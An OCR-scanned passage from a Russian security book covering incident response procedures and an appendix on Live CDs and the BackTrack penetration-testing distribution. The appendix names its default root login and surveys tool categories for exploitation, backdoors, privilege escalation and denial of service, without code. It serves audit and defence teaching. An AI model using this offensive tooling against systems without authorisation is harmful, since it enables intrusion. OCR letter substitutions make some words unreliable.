О защищенное переговорное помещение; 
О база данных для хранения свидетельств и результатов рассле

дования инцидентов . 

В состав инструментария должны входить также средства про 
граммного обеспечения и аппаратные средства сбора данных: 

О компьютерная система для хранения свидетельств расследова
ния инцидентов;  

О мобильные компьютеры для удобства работы команды рассле
дования инцидентов ; 

О испытательная лаборатория для анализа возможного развития 
инцидента; 

О комплекты чистых дискет, CD- и DVD-носителей; 
О принтеры; 
О программное обеспечение для анализа состояния дисковой под

системы; 
О сниферы и анализаторы протоколов для анализа сетевого тра

фика; 
О загрузочные диски всех используемых в организации операци

онных сред; 
О сопутствующие устройства, такие как диктофоны, цифровые 

фото- и видеокамеры для сбора доказательной базы в процессе 
расследования. 

В процессе анализа инцидента команда реагирования должна 
иметь доступ ко всем необходимым для анализа ресурсам информа
ционной системы, а именно: 
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О просмотру состояния портов операционной среды; 
О свидетельству работы операционных систем, приложений, про

токолов, систем обнаружения вторжений, сигнатур антивирусов ; 
О просмотру статистических журналов работы сети наиболее кри

тичных устройств (веб-серверы, серверы электронной почты, 
протоколы работы FТР-серверов ); 

О просмотру журналов активности приложений ; 
О журналам криптографических средств ; 
О операционным системам для анализа журнальных файлов, 

в том числе с нравами администратора; 
О данным о загружаемых обновлениях в операционных средах; 
О информации о регламентах резервного копирования и тестиро

вании резервных носителей. 

Команда реагирования на инциденты должна иметь универсаль
ный мобильный инструментарий для возможности реагирования на 
инцидент (jump kit) .  Организация должна обеспечить финансовую 
основу для совершенствования и поддержания в актуальном состоя
нии инструментария команды реагирования. 

Превентивные мероприятия 
Первопричиной наступления события инцидента информационной 
безопасности является потенциальная способность злоумышленника 
получить необоснованные привилегии для доступа к активу органи
зации. Оценка риска подобной возможности и принятие правильного 
решения о зашите составляют основную задачу команды реагирования. 

Каждый риск должен быть нриоритезирован и обработан в со
ответствии с политикой оценки рисков,  принятой в организации. 
Оценка рисков рассматривается как перманентный процесс, целью 
которого является достижение приемлемого уровня зашиты, иными 
словами, должны быть внедрены достаточные меры зашиты актива от 
необоснованного или неправомочного использования. Оценка рисков 
способствует классификации активов. Критичные, с точки зрения 
рисков, активы в подавляющем большинстве случаев также являются 
критичными для бизнеса организации. 

Специалисты команды реагирования анализируют угрозы и спо
собствуют поддержанию в актуальном состоянии принятой службой 
информационной безопасности организации модели нарушителя. 

Для эффективной работы команды реагирования в организации 
должны быть предусмотрены процедуры, обеспечивающие описа
ние процессов функционирования подразделений. Особое внимание 
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должно уделяться наполнению документарной базы службы инфор
мационной безопасности. 

Обнаружение и анализ инцидентов информационной 
безопасности 
Инциденты информационной безопасности могут иметь различные 
источники происхождения. В идеале организация должна быть гото
ва к любым проявлением вредоносной активности. На практике это 
не осуществимо. 

Служба реагирования должна классифицировать и описать каж
дый инцидент, произошедший в организации, а также классифици
ровать и описать возможные инциденты, предположения о которых 
были сделаны на основе анализа рисков. 

Для расширения тезауруса о возможных угрозах и связанных с ни
ми возможных инцидентах хорошей практикой является использо
вание постоянно обновляемых открытых источников сети Интернет. 

Признаки инцидента информационной безопасности 
Предположение о том, что в организации произошел инцидент ин
формационной безопасности, должно базироваться на трех основных 
факторах: 

О сообщения об инциденте информационной безопасности посту
пают одновременно из нескольких источников (пользователи, 
IDS, журнальные файлы) ;  

О IDS сигнализируют о множественном повторяющемся событии. 

Анализ журнальных файлов автоматизированной системы дает 
основание для вывода системным администраторам о возможности 
наступления события инцидента. 

В общем случае признаки инцидента делятся на две основные ка
тегории: сообщения о том, что инцидент происходит в настоящий 
момент, и сообщения о том, что инцидент, возможно, произойдет 
в скором будущем. Ниже перечислены некоторые признаки совер
шающегося события: 

О IDS фиксирует переполнение буфера; 
О уведомление антивирусной программы; 
О крах веб-интерфейса; 
О пользователи сообщают о крайне низкой скорости при попытке 

выхода в Интернет; 
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О системный администратор фиксирует наличие файлов с нечи
табельными названиями; 

О пользователи сообщают о наличии в своих почтовых ящиках 
множества повторяющихся сообщений; 

О хает производит запись в журнал аудита об изменении конфи
гурации ; 

О приложение фиксирует в журнальном файле множественные 
неудачные попытки авторизации ; 

О администратор сети фиксирует резкое увеличение сетевого тра
фика и т. д. 

Примерами событий, которые могут послужить источниками ин-
формационной безопасности, могут служить: 

О журнальные файлы сервера фиксируют сканирование портов ; 
О объявление в СМИ о появлении нового вида экснлоита; 
О открытое заявление компьютерных преступников об объявле

нии войны вашей организации и т. д. 

Анализ инцидентов информационной безопасности 
Инцидент не является очевидным свершившимся фактом, напротив, 
злоумышленники стараются сделать все, чтобы не оставить в системе 
следов своей деятельности. Признаки инцидента содержит незначи
тельное изменение в файле конфигурации сервера или, на первый 
взгляд, стандартная жалоба пользователя электронной почты. При
нятие решения о наступлении события инцидента во многом зависит 
от компетентности экспертов команды реагирования. Необходимо 
отличать случайную ошибку оператора от злонамеренного целена
правленного воздействия на информационную систему. Факт отра
ботки �в холостую� инцидента информационной безопасности так
же является инцидентом информационной безопасности, поскольку 
отвлекает экспертов команды реагирования от насущных проблем. 
Руководство организации должно обратить внимание на данное об
стоятельство и предоставить экспертам команды реагирования из
вестную свободу действий. 

Составление диагностических матриц служит для визуализации 
результатов анализа событий, происходящих в информационной си
стеме. Матрица формируется из строк потенциальных признаков ин
цидента и столбцов - типов инцидентов.  В пересечении дается оценка 
событию но шкале приоритетов �высокий�,  �средний� ,  �низкий�. 
Диагностическая матрица призвана документировать ход логических 
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заключений экспертов в процессе принятия решения и наряду с дру
гими документами служит свидетельством расследования инцидента. 

Документирование инцидента информационной 
безопасности 
Документирование событий инцидента информационной безопас 
ности необходимо для сбора и последующей консолидации свиде
тельств расследования. Документированию подлежат все факты и 
доказательства злонамеренного воздействия. Различают технологи
ческие свидетельства и операционные свидетельства воздействия. 
К технологическим свидетельствам относят информацию, получен
ную от технических средств сбора и анализа данных ( сниферы, IDS ), 
к операционным - данные или улики, собранные в процессе опроса 
персонала, свидетельства обращений на service desk, звонки в call 
center. 

Типичной практикой является ведение журнала расследования 
инцидента, который не имеет стандартной формы и разрабатывается 
командой реагирования. Ключевыми позициями подобных журналов 
могут служить: 

О текущий статус расследования; 
О описание инцидента; 
О действия, производимые командой реагирования в процессе 

обработки инцидента; 
О список акторов расследования с описанием их функций и про

центом занятости в процедуре расследования; 
О перечень свидетельств (с обязательным указанием источников) ,  

собранных в ходе обработки инцидента; 
О комментарии участников расследования инцидента; 
О описание последующих действий и состояние процесса (ожи

дание ответа на запрос в call center и т .  д. ) .  

В ходе расследования инцидента все свидетельства должны быть 
защищены от дискредитации, поскольку данные могут содержать 
информацию о действенных уязвимостях информационной системы. 

Приоритезация инцидентов информационной 
безопасности 
Приоритезация инцидентов информационной безопасности базиру
ется на следующих основных факторах: 
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О настоящий и потенциально возможный эффект инцидента 
информационной безопасности. Команда реагирования рас 
сматривает не только факт свершившегося инцидента, но и по
следствия и потенциальные угрозы, которые могут возникнуть 
в дальнейшем; 

О критичность вовлеченных в инцидент активов. Критичность 
активов обсуждалась на этане подготовки к расследованию ин
цидентов. 

Таким образом, корреляция данных показателей дает основания 
экспертам команды реагирования делать выводы о приоритетах ин
цидентов. 

Рассылка уведомлений об инциденте информационной 
безопасности 
В организации должна быть разработана и внедрена система опо
вещения об инцидентах. Создание цепочки оповещения необходи
мо для поддержания должного уровня управления организацией во 
время обработки инцидента. Состав команды оповещения и способ 
оповещения разрабатываются с учетом особенностей функциониро
вания и структуры организации. 

Принципы построения модели структуры реагирования, рассмот
ренные ранее, хорошо подходят в качестве базовых принципов струк
туры оповещения, способствуют унификации системы управления. 
В основе разработки модели оповещения лежит сценарный (ролевой) 
принцип, суть которого заключается в привлечении, помимо руковод
ства организацией, руководящего персонала подразделений, которых 
затронул инцидент. Лица, входящие в состав команды оповещения, 
должны пройти соответствующую подготовку и осознавать свою роль 
в процессе обработки инцидента. 

После обнаружения, анализа и классификации инцидента важным 
этаном является процедура противодействия его распространению. 
Действия но противодействию распространению во многом зависят 
от того,  насколько качественно команда расследования отработала 
предыдущие этаны жизненного цикла процесса расследования. Взаи
модействие подразделений организации, правильная классификация 
и глубина анализа возможных последствий играют решающую роль 
и существенно сокращают время реагирования. Лучшей практикой 
подготовки к противодействию распространения инцидента является 
заранее подготовленный сценарий действий, проведенный анализ 
рисков и классифицированные события но каждому основному клас
су инцидентов. 
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Стратегия противодействия распространению 
последствий инцидента 
Процедура противодействия распространению инцидента строится 
отдельно для каждого конкретного инцидента и зависит от его тина. 
Критерии стратегии противодействия должны быть формализованы 
и доступны для всех участников команды реагирования. Критерии 
определения стратегии включают следующие основные позиции: 

О потенциально возможное повреждение или кража актива; 
О потребность в сохранности свидетельств инцидента; 
О доступность актива; 
О количество времени и необходимые ресурсы для реализации 

противодействия; 
О эффективность стратегии противодействия (частичное или 

полное решение проблемы) ;  
О срок действия стратегии (неделя, месяц, квартал и т .  д .) .  

В ряде случаев для изучения злоумышленника и сбора необхо 
димых свидетельств инцидента применима стратегия отложенного 
(контролируемого) сдерживания, суть которой заключается в обнару
жении, анализе, классификации и контроле (слежении) за действия
ми нарушителя. Данная методика имеет наравне с высокой степенью 
эффективности высокий уровень риска, поскольку злоумышленник 
может использовать дискредитированный ресурс как площадку для 
атаки на другие активы организации. Контролируемое сдерживание 
возможно при условии наличия в организации высококвалифициро
ванных экспертов команды реагирования и проработанной политики 
реагирования на инциденты информационной безопасности. 

В корпоративных гетерогенных распределенных информационных 
системах следует учитывать фактор участия активов в едином про
цессе, то есть связи между хостами и влияние потери доступности 
на функционирование инфосистемы в целом. В данном случае, по
мимо стандартных процедур реагирования, необходима проработка 
вопросов IТ-унравления, включая уровень резервирования систем. 
В противном случае команда реагирования будет бессильна. 

Сбор свидетельств инцидента и их обработка 
Сбор свидетельств инцидента информационной безопасности пред
ставляет собой процедуру сбора фактов злонамеренных действий 
с целью нанести ущерб организации или отдельным сотрудникам. 
Причины, но которым необходим сбор свидетельств, рассматривают-
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ся как получение законных оснований для привлечения к ответствен
ности лица или группы лиц за умышленное или непреднамеренное 
действие или попытку действия, направленную на нанесение ущерба 
организации, сбор фактов для привлечения лиц, совершивших дея
ния, к ответственности. Другая причина - формирование пакета для 
анализа уязвимости и ликвидации последствий инцидента информа
ционной безопасности. Регистрационные данные инцидента должны 
содержать следующие основные позиции: 

О идентификация источника (местоположение, ID, имя хоста, 
МАС-адрес , IР-адрес и т. д. ) ;  

О персональные данные сотрудников, обращавшихся за помощью; 
О дата и время каждого свидетельства; 
О местоположение ресурса хранения свидетельства. 

Процедура сбора свидетельств инцидента информационной 
безопасности должна быть представлена в виде внутреннего регла
мента и доведена до сведения всех участников команды реагирования 
и специалистов подразделений, привлекаемых к процедуре расследо
вания инцидентов. 

Идентификация нарушителя 
Попытка идентификации нарушителя в процессе расследования ин
цидента не всегда может завершиться удачно.  Несмотря на успех 
процедуры противодействия распространению инцидента, для опре
деления �личности� злоумышленника могут потребоваться рас 
следование нескольких инцидентов,  сопоставление фактов, анализ 
�почерка� атакующего. В любом случае, если угроза не исходит от 
внутреннего нарушителя и инцидент не является сложной цепочкой 
событий, которая, возможно, приведет к сговору сотрудников органи
зации, действия экспертов команды реагирования должны быть на
правлены на реализацию мер, которые являются предметом данного 
регламента. В противном случае к расследованию инцидента должны 
быть подключены соответствующие службы внутренней безопасно
сти. Важным являются сбор и анализ свидетельств инцидента. 

Процедура ликвидации последствий инцидента 
информационной безопасности 
Процедура ликвидации последствий инцидента информационной 
безопасности должна быть оформлена в виде внутреннего регламента 
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и напрямую зависит от особенности функционирования информаци
онной системы организации и способа атаки, который был применен 
злоумышленником. Действия персонала в процессе ликвидации по
следствий инцидента должны быть согласованы как с техническими 
специалистами, осуществляющими поддержку системы, так и с ру
ководителями подразделений, чья информация стала объектом зло
умышленника. 

На практике не существует универсальной методики, которая бы 
однозначно определяла набор эффективных действий команды реа
гирования при ликвидации последствий инцидентов. Масштабы вос
становления могут быть различны, от лечения зараженных вирусом 
файлов и восстановления операционной среды с резервных копий до 
отстаивания репутации организации в суде. Лучшей практикой на 
сегодняшний день является наличие в организации плана но восста
новлению функционирования бизнеса, поддерживаемого постоянно 
действующим коллегиальным органом управления. 

Эксперты команды реагирования на инциденты должны сфоку
сировать свое внимание на сборе и хранении информации, которая 
действительно имеет отношение к расследуемому инциденту, но не 
похожим или аналогичным обстоятельствам. В противном случае 
опыт данного инцидента будет бесполезен. 

Хранение материалов расследования инцидентов 
информационной безопасности 
Типичными метриками для хранения данных инцидента являются: 

О количество обработанных инцидентов информационной 
безопасности ; 

О среднее время, затрачиваемое на обработку одного инцидента; 
О описание расследования инцидента, включая рассмотренные 

источники данных инцидента, свидетельства инцидента, ка
чественную или количественную оценку ущерба, причину воз
никновения события инцидента, события, которые могли бы 
предотвратить инцидент; 

О субъективная оценка инцидента - качественная оценка дей
ствий команды реагирования, включая практическое приме
нение политики расследования инцидентов,  использование 
инструментария и ресурсов , использование внутренней доку
ментации, качество обучения на этане подготовки. 
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Правила хранения материалов расследования инцидента 
информационной безопасности 
Организация разрабатывает регламент хранения свидетельств рас
следования инцидентов в соответствии с особенностями ведения 
бизнеса и требованием законодательства. При разработке политики 
хранения свидетельств необходимо учитывать следующие основные 
факторы: 

О возможные разбирательства в суде; 
О время хранения свидетельств ; 
О стоимость хранения (стоимость эксплуатации носителей и си

стем) .  

Контрольные листы мероприятий при проведении 
расследования инцидента информационной 
безопасности 
В процессе расследования инцидента хорошей практикой является 
ведение контрольных листов наблюдений ( check lists) с целью управ
ления процессом расследования. Данная практика хорошо примени
ма в средних и крупных организациях, где количество одновременно 
расследуемых инцидентов может превышать десяток единиц. Струк
тура контрольного листа может быть произвольной и разрабатывать
ся экспертами команды реагирования с учетом особенности прово
димых в организации мероприятий но расследованию инцидентов. 

8.3 . За кл ючен ие 
Разработка нормативной документации является важной частью ра
боты специалистов но безопасности. Однако очень часто данные спе
циалисты пренебрегают разработкой документов, чем создают себе 
дополнительные трудности в работе. Благодаря примерам докумен
тов,  данным в данном разделе, специалистам но информационной 
безопасности можно существенно облегчить себе жизнь, регламен
тировав работу сотрудников компании. 
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Загружаемые дистрибутивы Live CD в носледние годы стали необхо
димым в новседневной работе инструментом для системного адми
нистратора. Live CD дистрибутив не требует установки на жесткий 
диск, умещается на одном комнакт-диске, не требователен к ресурсам 
сервера, но нри этом обладает достаточным функционалом, необходи
мым для решения базовых задач. К тому же всегда удобно, когда нод 
рукой имеются все необходимые нрограммы и утилиты, и, для того 
чтобы воснользоваться ими, достаточно нросто загрузиться с ком
накт-диска, не нрибегая к нодчас нетривиальной нроцедуре установки 
и настройки этих нрограмм. 

На сегодняшний день существуют сотни Live CD дистрибутивов, 
настроенных на основе различных редакций Linux: Deblan, Red Hat, 
Slax и др. Есть также Live CD версии для ВSD-систем, нанример 
Frenzy, онерационная система, образ которой умещается на малень
ком комнакт-диске 2 1 0  Мб. Диск с Frenzy я всегда ношу с собой, и 
он несколько раз выручал меня нри решении различных нроблем 
с загрузкой рабочей онерационной системы. Но не стоит думать, 
что мир загружаемых дистрибутивов ограничивается только Uniх
решениями. Существуют Live CD версии Windows. Нанример,  за
гружаемая версия Windows ХР с набором необходимых нриложений 
официально иснользуется нравоохранительными органами Германии 
для сбора сведений о данных, хранящихся на комньютере нодозревае
мого.  Но онерационная система Windows, как и большинство нро
дуктов Майкрософт, не является беснлатной, соответственно, для 
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разработки собственного Live CD дистрибутива необходимо приоб
ретать лицензию. 

Таким образом, загружаемые дистрибутивы операционных систем 
являются удобным и полезным инструментом системного админист
ратора. 

Загружаемые диски Live CD 

В этом разделе речь пойдет о том, что такое загружаемые комнакт
диски, зачем они нужны, будут приведены примеры наиболее рас 
пространенных дистрибутивов,  а также рассмотрены некоторые 
технические моменты работы с Live CD. Если вы уже знакомы с тех
нологиями загружаемых компакт-дисков и вас интересуют именно 
прикладные аспекты использования BackTrack, то данный раздел 
можно пропустить. 

Что это такое 
Загружаемый компакт-диск позволяет отделить операционную си
стему от компьютера. В то время как операционная система обычно 
непосредственно устанавливается на жесткий диск компьютера, за
гружаемый компакт-диск, как правило, разработан таким образом, 
чтобы операционная система полностью загружалась и выполнялась 
через устройства, работающие в режиме только для чтения (напри
мер, CD- ROM).  Использование загружаемых компакт-дисков позво
ляет вам отказаться от использования стационарного рабочего места, 
такого как стационарный компьютер или рабочий ноутбук с пред
установленным программным обеспечением. Вместо этого вы можете 
просто носить в кармане компакт-диск с загружаемой операционной 
системой, на котором имеются все необходимые приложения и дан
ные. Для того чтобы использовать в своей работе какие-то допол
нительные данные, вам достаточно просто подключить USB Flash 
( флэшку) сразу после загрузки операционной системы с загрузочного 
компакт-диска, и все необходимые данные будут вам доступны. Нет 
необходимости ничего устанавливать. Согласитесь, такая мобиль
ность просто необходима системному администратору или специа
листу но информационной безопасности, который обслуживает сеть 
крупной организации или несколько географически распределенных 
офисов.  

В качестве операционной системы, на основе которой строятся 
дистрибутивы для загрузочных компакт-дисков, традиционно высту-
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нает семейство операционных систем Linux. Причин такой популяр
ности много, но одна из основных - это открытость кода и связанная 
с этим возможность модифицировать операционную систему без не
обходимости приобретения каких-либо лицензий и связанных с этим 
выплат. По этим причинам Linux очень любят разработчики, и су
ществует множество приложений, прекрасно работающих под Linux. 

Что касается операционных систем семейства Windows, то авто
ру данной книги приходилось видеть загружаемую с компакт-дис
ка ( Live CD)  версию Windows ХР, предназначавшуюся для сбора 
доказательств полицией и использовавшуюся правоохранительны
ми органами Германии в качестве средства сбора доказательств при 
расследованиях. Однако в целом загрузочные модификации опера
ционной системы Windows распространены мало, видимо, но тем 
же причинам, которые я указывал ранее, а именно необходимость 
лицензирования и закрытость исходного кода. 

Зачем нужны Live CD 

Строго говоря, загрузочные Live C D  являются одним из лучших 
средств для новичков познакомиться с операционной системой Linux, 
ведь вам не нужно что-либо устанавливать на свой жесткий диск, рис
куя повредить или даже полностью уничтожить уже имеющиеся на 
нем данные. Так что даже если у вас мало опыта в работе с операцион
ными системами семейства Linux, загрузочный диск Linux поможет 
вам освоиться в работе с этой операционной системой. 

Также загружаемые компакт-диски полезны при тестировании 
работы различного оборудования с ОС Linux. Например, если вы 
собираетесь установить операционную систему семейства Linux на 
стационарную рабочую станцию, то неплохо бы сначала проверить 
совместимость аппаратной части с данной ОС ,  воспользовавшись 
загружаемым компакт-диском, который, как я уже упоминал ранее, 
не требует установки на жесткий диск компьютера. 

Еще один повод воспользоваться загружаемыми компакт-диска
ми - это возможность взять с собой в дорогу все необходимые прило
жения, не используя при этом громоздкий ноутбук или ограниченный 
но функциональности карманный компьютер или коммуникатор.  

Возможность применения узконаправленных приложений также 
является еще одним преимуществом загружаемых компакт-дисков. 
Если у вас имеется какое-либо специфичное приложение, то вам нет 
необходимости разворачивать его на стационарной машине, при этом 
беспокоясь о наличии необходимых библиотек, драйверов и других 
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приложений. Достаточно просто один раз настроить работу данного 
специфичного приложения с загружаемым дистрибутивом, и вам не 
нужно будет больше ни о чем беспокоиться, достаточно лишь загру
зиться с CD-ROM - и нужное приложение готово к работе. 

Еще с помощью загружаемых дисков можно разворачивать клас
терные системы, то есть использовать несколько физических машин 
для решения каких-либо вычислительных задач. С помощью загру
жаемых компакт-дисков вы можете загрузить операционную систему 
с нужными настройками сразу на нескольких серверах и запустить 
кластерную систему без необходимости произведения каких-либо до
полнительных настроек на каждом отдельном сервере. Согласитесь, 
это очень удобно. 

Ну и, наконец, поэкспериментировав с загружаемой операционной 
системой, вы можете без особых проблем установить ее на жесткий 
диск вашего компьютера. Практически все дистрибутивы загружае
мых операционных систем обладают таким функционалом. 

В общем, думаю, я достаточно аргументированно обосновал, зачем 
нужны загружаемые компакт-диски Live CD.  

Самые распространенные дистрибутивы Live CD 

Как уже упоминалось ранее, наиболее распространены дистрибутивы 
под управлением операционной системы Linux. Среди самих дист
рибутивов под Linux наиболее распространены различные клоны на 
основе Кnoppix ( DeЬian Linux). Knoppix является наиболее адапти
рованным для использования в качестве загружаемого компакт-диска 
дистрибутивом, так как в нем имеются драйверы для большинства 
плат, применяемых в современных персональных компьютерах. Так, 
например, у меня никогда не возникало проблем с использованием 
видеократы или сетевой платы при работе с Кnoppix. Так что всем, 
кто начинает свое знакомство с загружаемыми компакт-дисками, на
стоятельно рекомендую скачать дистрибутив Knoppix. 

Также существуют дистрибутивы на основе Fedora (Red Hat Linux), 
Gentoo, Slackware. Говоря о загружаемых дисках, следует также упо
мянуть Frenzy - это дистрибутив, построенный на основе FreeBSD, 
занимающий всего 200 Мб и обладающий всем необходимым функ
ционалом для тестирования работы сети и сетевых приложений. 

Итак, мы вкратце рассмотрели, какие же операционные системы 
вообще бывают на загружаемых компакт-дисках. В продолжение 
темы обсудим еще один важный момент, который может вызвать 
сложности у новичков, а именно запуск загружаемого компакт-диска. 
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Как можно получить BackTrack 

На момент написания данной книги на веб-сайте разработчиков про
екта remote-exploit.org бьши доступны три реализации: isо-образ за
гружаемого диска, образ для загрузки с U SВ-носителя и образ вир
туальной машины VM Ware, содержащий BackTrack. 

Запуск загружаемого компакт-диска Liпих 
Для того чтобы загрузиться с компакт-диска, вам необходимо уста
новить компакт-диск в привод CD-ROM и указать в BIOS в качестве 
источника для загрузки CD-ROM. После выполнения этих действий 
вы сможете загрузиться с компакт-диска. Во многих дистрибутивах 
но умолчанию грузится оконная оболочка Gnome или KDE. В случае 
если но умолчанию у вас загрузилась командная строка, вы можете 
воспользоваться командой startx для запуска оконного интерфейса: 

s l ax#sta rtx 

Далее вам становится доступен весь функционал данного дистри
бутива. В случае если у вас в локальной сети имеется DНСР-сервер, 
ваша система сразу получит сетевой адрес и другие настройки. В слу
чае если данного сервера в вашей локальной сети нет, а вам необхо
димо работать с сетевыми ресурсами, вы можете воспользоваться 
средствами ручной настройки сети. 

Итак, теперь ваша загруженная операционная система полностью 
готова к работе. Желаю приятного изучения. Далее разговор пойдет 
уже непосредственно о дистрибутиве BackTrack и его использовании 
при решении задач информационной безопасности. 

П .2 . И н струмента ри й Bac kTrac k 

Итак, для практического осуществления аудита информационной 
безопасности требуется множество различных инструментов:  скане
ры портов и уязвимостей, аудит сложности паролей, получение сведе
ний о системе и многое другое. Для этого нужно огромное количест
во различных программ, более того, большинство из этих программ 
реализованы только под Linux (например, средства аудита Wi-Fi или 
аудит на ролей) .  А ведь далеко не каждый администратор располагает 
необходимой квалификацией и достаточным количеством времени, 
для того чтобы искать, устанавливать и настраивать данные програм
мы. И вот тут мы подошли к обсуждению инструмента, с помощью 
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которого мы будем решать задачу аудита, а именно к дистрибутиву 
BackTrack. 

О том, что из себя представляет данный дистрибутив и как его 
можно использовать при аудите, пойдет речь далее. 

Итак, что же из себя представляет дистрибутив BackTrack. 
Система BackTrack - это набор сетевых инструментальных средств 

защиты на загружаемых компакт-дисках Linux. Эта система была 
создана на основе загружаемого компакт-диска SLAX, который про
изошел от системы Slackware и объединяет возможности двух ори
ентированных на безопасность загружаемых дистрибутивов Linux: 
Whax и Auditor. Загружаемый компакт-диск с BackTrack содержит 
множество различных средств для проверки файловых систем, от
слеживания событий контроля сетей и выполнения многих других 
задач но восстановлению. Компакт-диск также включает в себя ар
хив данных об известных разработках от Metasploit и Securityfocus 
с инструментальными средствами (например, просмотр архивов ) ,  
предоставляющими возможность обращаться к данным. 

Помимо наличия большого количества доступных инструмен
тальных средств, в BackTrack (как и в любом ориентированном на 
безопасность компакт-диске) существует необходимость поддер
живать различные тины файловых систем и аппаратных средств. 
BackTrack включает поддержку разделов с файловой системой NTFS 
и инструментальные средства для конфигурации различных сетевых 
плат, например для беспроводных сетей. 

Стоит также отметить, что, несмотря на тот факт, что загружаемый 
компакт-диск BackTrack включает сотни инструментальных средств 
защиты, многие лучшие инструментальные средства вы можете найти 
в отлично организованном меню BackTrack. Эта особенность избав
ляет вас от необходимости тратить время на навигацию но оконным 
меню или каталогам операционной системы. При этом многие из 
данных инструментальных средств - утилиты командной строки, то 
есть не запускаются из графического интерфейса, а некоторые пунк
ты меню просто запускают оболочку, отображающую справочный 
текст для выбранной команды. 

В настоящее время BackTrack содержит более 300 различных 
утилит, которые собраны в группы соответственно их значимости в 
рабочем процессе. Как уже говорилось, грамотная структура групп 
помогает даже новичку подобрать подходящий инструмент для своих 
задач. 

Процесс запуска BackTrack аналогичен запуску любого другого за
гружаемого дистрибутива, но после загрузки операционной системы 
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оконный интерфейс автоматически не загружается. Для того чтобы 
войти в систему, но умолчанию используется учетная запись root 
с паролем toor. Для запуска оконного интерфейса воспользуемся 
командой startx. 

После того как вы загрузили систему BackTrack, откройте меню 
BackTrack (расположенное в нижнем левом углу экрана),  чтобы уви
деть список доступных инструментов для решения задач информаци
онной безопасности. Например, вы можете познакомиться с такими 
возможностями, как программа Autopsy Forensic Browser, инстру
ментом Automated Image and Restore (AIR) для создания и восста
новления образов дисков и со служебной программой AutoScan для 
исследования вашей сети. 

П .З .  Сбор с веден и й l nfo rmatio n  Gatheri n g  

В этом разделе собраны различные утилиты для анализа сети, анализа 
веб-нриложений, баз данных, а также беспроводных сетей. Каждый 
из этих четырех разделов, в свою очередь, содержит ряд подразделов, 
объединяющих утилиты но их назначению. Общим свойством для всех 
утилит данного раздела является то, что одни предназначены для на
чального сбора информации об атакуемой сети. Сбор информации осу
ществляется различными способами, с помощью различных свойств, 
используемых узлом протоколов, к примеру реализации ICMP в раз
личных операционных системах. Например, для Network Analysys это 
набор утилит но анализу DNS, идентификации работающих хостов, 
обнаружению IDS/IPS, сетевые сканеры и другие утилиты. 

Для Web Application Analysis это утилиты для идентификации 
систем управления контентом, анализа систем с открытым кодом и 
обнаружения IDS/IPS.  

В разделе Database Analysis собраны утилиты для анализа СУБД 
MS SQL, MySQL и Oracle. 

И наконец, в разделе Wireless Analysis собраны утилиты для ана
лиза Bluetooth и Wi-Fi. 

Поиск уязвимостей VulneraЬility Assessment 

В этом разделе находятся сканеры уязвимостей для сетевых приложе
ний, веб-нриложений и баз данных. При этом раздел, посвященный 
сетевым приложениям, содержит также набор утилит для работы 
с сетевым оборудованием различных производителей. Сканеры уяз-
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вимостей являются еще одним важным инструментом при проведе
нии аудита. Данные сканеры осуществляют уже не простую проверку 
на наличие открытых портов,  а пытаются провести эксплуатацию 
уязвимости на найденном порту. Таким образом, в результате работы 
сканера уязвимостей мы получаем полноценный отчет о имеющихся 
и незакрытых уязвимостях. 

Инструменты для эксплуатации уязвимостей 
Exploitatioп Too/s 

Здесь также находятся наборы утилит для работы с сетями, веб, ба
зами данных, а еще архив экснлоитов. Архив экснлоитов в BackTrack 
представляет собой не просто набор готовых к употреблению уяз 
вимостей. Здесь эти уязвимости представлены в виде специальных 
конструкторов,  позволяющих аудитору самостоятельно собрать из 
набора имеющихся уязвимостей свой собственный экснлоит. Это 
может оказаться особенно полезно при тестировании самонисных 
приложений, для которых не существует готовых экснлоитов,  но но 
причине недостаточного тестирования в процессе разработки уязви
мостей в них содержится не меньше, чем в программном обеспечении, 
разработанном третьими компаниями. 

Поднятие привилегий Privilege Escalatioп 
В разделе Privilege Escalation собраны утилиты для анализа протоко
лов, снуфинга и различные средства подбора паролей. 

Поддержка доступа Maiпtaiпiпg Access 

В этом разделе с неочевидным названием на самом деле собраны 
утилиты для организации бекдоров в операционных системах и веб
нриложениях, а также туннелирования. 

Reverse Eпgiпeeriпg 

Реверсивный инженеринг представляет собой анализ обновлений 
к приложениям на предмет закрываемой уязвимости. Когда исход
ная уязвимость обнаружена и к ней написан экснлоит, начинается 
поиск узлов , на которые это обновление еще не было установлено, 
с целью последующей эксплуатации уязвимости на данных узлах. 
В этом разделе содержатся утилиты для осуществления реверсивного 
инженеринга. 
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RFID Too/s 

Здесь находятся несколько утилит для работы с радиометками. 

Инструменты тестирования Stress Testing 

Утилиты для проведения нагруженного тестирования - Stress 
Testing - в этом разделе разбиты на три группы: Network Stress Testing, 
VO IP Stress Testing и WLAN Stress testing. В каждом из этих разде
лов представлены соответствующие утилиты для тестирования, это 
средства для @атонления� (flood), �отказа в обслуживании� и т. д. 

Средства расследования Forensics 

Здесь находится целый набор утилит, предназначенных для рассле
дования компьютерных инцидентов. 

Построение отчетов Reporting Too/s 

В разделе Reporting Tools представлены утилиты для построения 
отчетов.  Отчеты могут быть как сбором доказательств - Evidence 
Management, так и сбором улик с устройств - Media Capture. 

П .4. За кл юче н и е  
Дистрибутив BackTrack является мощным инструментом при иссле
довании сети и приложений. Посредством использования имеющих
ся в нем утилит можно обнаружить уязвимости в защите прикладных 
систем, слабые пароли и другие недостатки в защите. Вообще, описа
ние дистрибутива BackTrack заслуживает отдельной книги, поэтому 
здесь я лишь немного коснулся основного набора входящих в его со
став утилит. Но BackTrack постоянно обновляется, и не исключено, 
что к моменту выхода этой книги появится новая версия дистрибу
тива с более мощными утилитами для исследования. 
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